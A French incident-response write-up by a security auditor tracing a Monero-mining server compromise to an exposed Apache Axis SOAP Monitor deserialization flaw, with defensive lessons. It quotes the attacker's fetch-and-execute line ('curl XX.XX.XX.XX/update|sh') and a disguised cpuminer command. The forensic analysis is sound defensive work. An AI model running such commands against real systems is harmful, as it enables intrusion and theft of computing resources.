Compromission d'un serveur pour le minage de crypto-monnaies : audit d'investigation

Sécurité de l'information
Compromission d'un serveur pour le minage de crypto-monnaies : audit d'investigation

1. Un peu de contexte

Suite à la découverte d’une intrusion sur un serveur web de production, nous sommes mandatés dans le but d’identifier l’origine précise de l’attaque, développer une preuve de concept d’exploitation, et appliquer un patch logiciel en urgence. Les données faisant une référence directe au client impacté ont par conséquent été volontairement anonymisées.

2. La scène de crime

Le serveur présente une consommation de ressources processeur très importante, qui a été repérée assez rapidement par l’équipe d’exploitation de notre client. Le mobile ? Le minage de crypto-monnaies, et plus particulièrement le Monero, prisée des organisations cybercriminelles du fait de sa capacité à opacifier les transactions et donc à blanchir des fonds. Les processus sont nommés en utilisant des noms de binaires linux, mais possèdent la particularité de présenter différents paramètres caractéristiques du logiciel de minage cpuminer :

/usr/local/jahia/tomcat/rsync -o stratum+tcp://<pool.monero>:<port> -u <adresse monero> -p x


3. Le système d’alarme

En attendant de pouvoir déterminer l’origine de l’attaque, notre client a mis en place un script permettant de supprimer les processus malveillants grâce à une tâche planifiée. Les attaques sont répétées à intervalles relativement aléatoires, mais suffisamment fréquents pour nous laisser envisager une attaque automatisée.

Figure 1 : Traces de détection d'attaques

En effet, la grande partie des attaques visant des serveurs web sont liées à des démarches opportunistes, ayant pour but de dégager un profit substantiel le plus rapidement possible.

 4. Apache Struts 2 : Une fausse piste …

Le prestataire responsable du développement du site web nous aiguille tout d’abord sur une piste liée à l’exploitation d’une faille sur la librairie Apache Struts 2, découverte fin Octobre 2017.

Pour rappel, cette vulnérabilité permet de provoquer une exécution de code arbitraire à distance. Dans le cas d’une exploitation réussie, l’attaquant est en mesure d’exécuter des commandes système sur la machine compromise.

Cette théorie est très vraisemblable, à la fois en termes de chronologie et d’environnement technique. De plus, des traces d’attaques tentant de mettre à profit cette vulnérabilité sont détectées dans les journaux applicatifs.

Figure 2 : Extrait des journaux applicatifs Tomcat

Cependant, nous abandonnons rapidement cette hypothèse pour trois raisons distinctes :

  •  Les versions d’Apache Struts impactées par la vulnérabilité sont 2.3.x avant 2.2.32 et 2.5.x avant 2.5.10.1. Or contrairement aux déclarations du prestataire, la version installée n’est pas vulnérable.
  • Nous ne remarquons pas de corrélation entre l’heure des attaques répertoriées par le script d’alerte et les attaques enregistrées dans les journaux applicatifs.
  • Les tentatives d’exploitation lancées sur Apache Struts 2 tentent de créer une tâche planifiée dans le fichier « /etc/crontab ». Or, aucune tâche planifiée malveillante n’est répertoriée.

5. Collecte de preuves

La piste d’Apache Struts se révélant être une impasse, nous déroulons notre démarche habituelle de collecte de preuves sur le serveur.

5.1 Exécutables malveillants

Les preuves les plus simples à acquérir sont sans doute les exécutables déposés sur le serveur, à l’origine du minage de crypto-monnaie. Une analyse rapide des binaires nous permet de valider le logiciel utilisé. Le listage des chaînes de caractères contenues dans le binaire révèlent la compression (packing) de celui-ci avec le logiciel bien connu UPX.

Figure 4 : Chaîne de caractère contenant "upx"

Une fois décompressé, le binaire laissait apparaître la chaîne « cpuminer » ce qui confirmait notre hypothèse initiale.

 Figure 5 : Chaînes de caractères contenant « cpu » 

5.2   Journaux applicatifs

Nos premiers soupçons se portent sur une attaque ciblée sur un composant de la solution Web. Ainsi, nous effectuons une revue complète des journaux applicatifs afin de tenter d’établir la chronologie de l’attaque. Cependant, mis à part un nombre très important de scans automatisés, et de tentatives d’attaques infructueuses, nous ne sommes pas en mesure de découvrir de trace tangible de l’attaque.

De même, les journaux système ne présentent aucune anomalie notable : pas de trace d’authentification intempestive et non autorisée, aucune erreur dans les traces « syslog » ou « dmesg ».

6. L’aiguille dans la botte de foin

6.1 Dépendances logicielles

Persévérant dans l’hypothèse d’une attaque web que nous aurions ratée dans les journaux applicatifs ou dont les traces auraient été effacées, nous effectuons une revue des dépendances logicielles utilisées afin de lister les vulnérabilités existantes sur celles-ci, grâce à l’outil OWASP Dependency Check.

 

Figure 6 : Extrait des librairies analysées sur le serveur

Au total, plus de 170 vulnérabilités connues ont été détectées sur les versions de librairies utilisées... Nous armant de courage, nous tentons d’exploiter les vulnérabilités pouvant mener à une exécution de code à distance. Cependant, toutes ces attaques auraient dû laisser des traces au niveau des journaux web. Nous nous sommes donc orientés vers l’exploitation d’autres services exposés sur Internet. 

6.2 Paquets installés

Les dépendances logicielles du site ne révélant pas d’informations intéressantes, nous entreprenons une recherche des vulnérabilités liées aux paquets installés sur le serveur.De la même manière que pour les dépendances logicielles web, nous découvrons un nombre très important de paquets obsolètes et vulnérables. Cependant, nous faisons chou blanc une fois de plus : aucune vulnérabilité ne semble pouvoir mener à une exécution de code à distance.

6.3 Services exposés

En l’absence de piste, nous continuons notre démarche avec une analyse à chaud. Ainsi, nous énumérons les ports ouverts dans le but d’identifier l’application vulnérable. Au total, une vingtaine de services TCP sont accessibles en écoute sur le serveur.

Figure 7 : Extrait des ports ouverts sur la machine

Un pare-feu iptables est en place, mais celui-ci ne filtre que les connexions vers les services suivants :

  • MySQL (port 3306)
  • Agent nagios (5666)
  • Rsync (873)

La surface d’attaque reste donc très importante, en raison du grand nombre de services exposés. Pour rappel, le filtrage réseau constitue la première ligne de défense d’une infrastructure, et doit être le plus strict possible.

En reconsidérant les services exposés un a un, nous découvrons enfin un port présentant un risque de sécurité plausible : nos efforts ont enfin porté leurs fruits !

7. L’aiguille

Le service « SOAP Monitor » lié au framework Apache Axis est exposé sur Internet par l’intermédiaire du port 5001. Ce service n’est pas activé sur les installations par défaut, et nous découvrons rapidement pourquoi. Une recherche sur Google nous a menée sur la page suivante :

Cette page stipule que ce service ne devrait pas être activé en production, et est vulnérable aux attaques par dé-sérialisation d’objets Java. Ce type d’attaque tire parti du format d’échange de données qui peut être mis en place entre deux JVM. Lorsqu’un tel service est accessible, un attaquant peut forger un objet malveillant qui sera directement instancié en mémoire dans le but d’exécuter des commandes sur la machine. L’étau se resserre : nous avons très probablement découvert le point d’entrée de l’attaque.

8. Pris la main dans le sac

Pour confirmer notre théorie, nous effectuons une capture réseau sur le port incriminé, et attendons qu’une nouvelle intrusion soit détectée. Après quelques minutes, nous visualisions enfin un flux qui semble être corrélé à l’attaque !

Figure 9 : Charge utilisée pour exploiter la vulnérabilité

La première commande exécutée par le serveur pour la phase d’exploitation « /bin/bash –ct curl XX.XX.XX.XX/update|sh » est clairement lisible : nous avons identifié le point d’entrée ! La charge force la victime à télécharger le fichier « update » et à l’exécuter grâce à l’interpréteur de commandes.

Grâce à cette capture réseau, trois serveurs domiciliés en Californie sont découverts, l’un exploitant la vulnérabilité, et les deux autres faisant office de serveurs de fichiers. Le script update contient le code suivant :

Figure 10 : Script shell "update"

Celui-ci déroule les actions suivantes :

  • Télécharger le binaire « search » à l’aide de la commande curl ou wget (1)
  • Rendre le binaire exécutable (2)
  • Lancer le binaire en tâche de fond avec les options adéquates pour accumuler de la crypto-monnaie (Monero en l’occurrence) (3)

Grâce à ces éléments, nous reproduisons aisément l’attaque, et formulons une préconisation permettant une neutralisation immédiate de la vulnérabilité : filtrer le port 5001 afin d’éviter l’exploitation du service à distance. Dans un deuxième temps, le service sera complètement désactivé.

Cette vulnérabilité est donc particulièrement pernicieuse. En effet, elle semble très peu documentée. Seul un dépôt GitHub semble présenter une tentative d’implémentation de preuve de concept d’exploitation (celle-ci n’est pas fonctionnelle dans le cas étudié). De plus, aucune trace d’exploitation n’est laissée sur le serveur, mis à part les binaires déposés.

9. Les leçons à en tirer

9.1 Le filtrage réseau, élément primordial

On ne le répétera jamais assez, le filtrage réseau doit toujours être le plus strict possible ! Limiter la surface exposée sur Internet, c’est limiter les possibilités d’attaques pour un individu malveillant. Les connexions entrantes doivent donc être bloquées par défaut, et seuls les ports nécessaires au bon fonctionnement de l’application seront ouverts.

9.2 Maintien en conditions opérationnelles

La gestion des mises à jour de sécurité doit être intégrée dans le cycle de vie de l’application. Dans cet exemple, le nombre considérable de composants vulnérables exposait le serveur à de nombreuses attaques. Un seul mot d’ordre : mieux vaut prévenir que guérir.

9.3 Gestion des journaux

Enfin, une grande partie des attaques lancées à l’encontre les serveurs exposés sur Internet ciblent des sites web. Ainsi, la plupart du temps, les journaux des serveurs web sont suffisants pour retracer les scénarii d’attaque et établir des corrélations avec les preuves découvertes. Cependant, les traces de connexion au niveau réseau sont très souvent négligées par les administrateurs système. Considérées par ceux-ci comme trop verbeuses ou inutiles, elles sont pourtant d’une grande aide dans le contexte des réponses à incident pour lesquelles les traces d’attaques sont très limitées.

 

Arnaud Cordier, Auditeur Sécurité, Advens